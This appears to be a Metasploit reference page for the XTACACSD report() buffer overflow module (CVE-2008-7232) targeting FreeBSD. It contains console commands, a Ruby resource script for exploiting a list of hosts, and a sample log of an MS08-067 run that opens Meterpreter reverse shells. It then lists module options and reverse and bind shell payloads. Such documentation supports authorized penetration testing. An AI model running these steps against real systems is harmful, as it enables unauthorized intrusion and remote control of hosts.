XTACACSD report() Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/freebsd/tacacs/xtacacsd_report metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: XTACACSD report() Buffer Overflow
Module: exploit/freebsd/tacacs/xtacacsd_report
Source code: modules/exploits/freebsd/tacacs/xtacacsd_report.rb
Disclosure date: 2008-01-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): 49
List of CVEs: CVE-2008-7232
This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By sending a specially crafted XTACACS packet with an overly long username, an attacker may be able to execute arbitrary code.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
Using xtacacsd_report against a single host
Normally, you can use exploit/freebsd/tacacs/xtacacsd_report this way:
msf > use exploit/freebsd/tacacs/xtacacsd_report
msf exploit(xtacacsd_report) > show targets
... a list of targets ...
msf exploit(xtacacsd_report) > set TARGET target-id
msf exploit(xtacacsd_report) > show options
... show and set options ...
msf exploit(xtacacsd_report) > exploit
Using xtacacsd_report against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your xtacacsd_report will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/freebsd/tacacs/xtacacsd_report")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the freebsd/tacacs/xtacacsd_report exploit module looks in the msfconsole:
msf6 > use exploit/freebsd/tacacs/xtacacsd_report
[*] No payload configured, defaulting to bsd/x86/shell/reverse_tcp
msf6 exploit(freebsd/tacacs/xtacacsd_report) > show info
Name: XTACACSD report() Buffer Overflow
Module: exploit/freebsd/tacacs/xtacacsd_report
Platform: BSD
Arch: x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2008-01-08
Provided by:
MC <[email protected]>
Available targets:
Id Name
-- ----
0 FreeBSD 6.2-Release Bruteforce
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 49 yes The target port (UDP)
Payload information:
Space: 175
Avoid: 7 characters
Description:
This module exploits a stack buffer overflow in XTACACSD <= 4.1.2.
By sending a specially crafted XTACACS packet with an overly long
username, an attacker may be able to execute arbitrary code.
References:
https://nvd.nist.gov/vuln/detail/CVE-2008-7232
OSVDB (58140)
http://aluigi.altervista.org/adv/xtacacsdz-adv.txt
Module Options
This is a complete list of options available in the freebsd/tacacs/xtacacsd_report exploit:
msf6 exploit(freebsd/tacacs/xtacacsd_report) > show options
Module options (exploit/freebsd/tacacs/xtacacsd_report):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 49 yes The target port (UDP)
Payload options (bsd/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 FreeBSD 6.2-Release Bruteforce
Advanced Options
Here is a complete list of advanced options supported by the freebsd/tacacs/xtacacsd_report exploit:
msf6 exploit(freebsd/tacacs/xtacacsd_report) > show advanced
Module advanced options (exploit/freebsd/tacacs/xtacacsd_report):
Name Current Setting Required Description
---- --------------- -------- -----------
BruteStep no Step size between brute force attempts
BruteWait no Delay between brute force attempts
CHOST no The local client address
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (bsd/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the freebsd/tacacs/xtacacsd_report module can exploit:
msf6 exploit(freebsd/tacacs/xtacacsd_report) > show targets
Exploit targets:
Id Name
-- ----
0 FreeBSD 6.2-Release Bruteforce
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/tacacs/xtacacsd_report exploit:
msf6 exploit(freebsd/tacacs/xtacacsd_report) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsd/x86/exec normal No BSD Execute Command
1 payload/bsd/x86/metsvc_bind_tcp normal No FreeBSD Meterpreter Service, Bind TCP
2 payload/bsd/x86/metsvc_reverse_tcp normal No FreeBSD Meterpreter Service, Reverse TCP Inline
3 payload/bsd/x86/shell/bind_ipv6_tcp normal No BSD Command Shell, Bind TCP Stager (IPv6)
4 payload/bsd/x86/shell/bind_tcp normal No BSD Command Shell, Bind TCP Stager
5 payload/bsd/x86/shell/reverse_ipv6_tcp normal No BSD Command Shell, Reverse TCP Stager (IPv6)
6 payload/bsd/x86/shell/reverse_tcp normal No BSD Command Shell, Reverse TCP Stager
7 payload/bsd/x86/shell_bind_tcp normal No BSD Command Shell, Bind TCP Inline
8 payload/bsd/x86/shell_bind_tcp_ipv6 normal No BSD Command Shell, Bind TCP Inline (IPv6)
9 payload/bsd/x86/shell_reverse_tcp normal No BSD Command Shell, Reverse TCP Inline
10 payload/bsd/x86/shell_reverse_tcp_ipv6 normal No BSD Command Shell, Reverse TCP Inline (IPv6)
11 payload/bsdi/x86/shell/bind_tcp normal No BSDi Command Shell, Bind TCP Stager
12 payload/bsdi/x86/shell/reverse_tcp normal No BSDi Command Shell, Reverse TCP Stager
13 payload/bsdi/x86/shell_bind_tcp normal No BSDi Command Shell, Bind TCP Inline
14 payload/bsdi/x86/shell_reverse_tcp normal No BSDi Command Shell, Reverse TCP Inline
15 payload/generic/custom normal No Custom Payload
16 payload/generic/debug_trap normal No Generic x86 Debug Trap
17 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
18 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
19 payload/generic/tight_loop normal No Generic x86 Tight Loop
Evasion Options
Here is the full list of possible evasion options supported by the freebsd/tacacs/xtacacsd_report exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(freebsd/tacacs/xtacacsd_report) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3087 Merged Pull Request: Fix first chunk of msftidy "bad char" errors
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #951 Merged Pull Request: Infohash cleanups
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/novell_file_reporter_filedelete
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/scanner/http/hp_imc_reportimgservlt_traversal
- auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
- auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
- exploit/multi/http/oracle_reports_rce
- exploit/windows/browser/crystal_reports_printcontrol
- exploit/windows/fileformat/erdas_er_viewer_rf_report_error
- exploit/windows/novell/file_reporter_fsfui_upload
- exploit/linux/local/abrt_sosreport_priv_esc
- exploit/multi/http/snortreport_exec
- exploit/windows/fileformat/mcafee_showreport_exec
- exploit/windows/http/ca_totaldefense_regeneratereports
- exploit/freebsd/ftp/proftp_telnet_iac
- exploit/freebsd/http/citrix_dir_traversal_rce
- exploit/freebsd/http/watchguard_cmd_exec
- exploit/freebsd/local/intel_sysret_priv_esc
- exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
- exploit/freebsd/local/mmap
- exploit/freebsd/local/rtld_execl_priv_esc
- exploit/freebsd/local/watchguard_fix_corrupt_mail
- exploit/freebsd/misc/citrix_netscaler_soap_bof
- exploit/freebsd/samba/trans2open
- exploit/freebsd/telnet/telnet_encrypt_keyid
- exploit/freebsd/webapp/spamtitan_unauth_rce
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Authors
MC
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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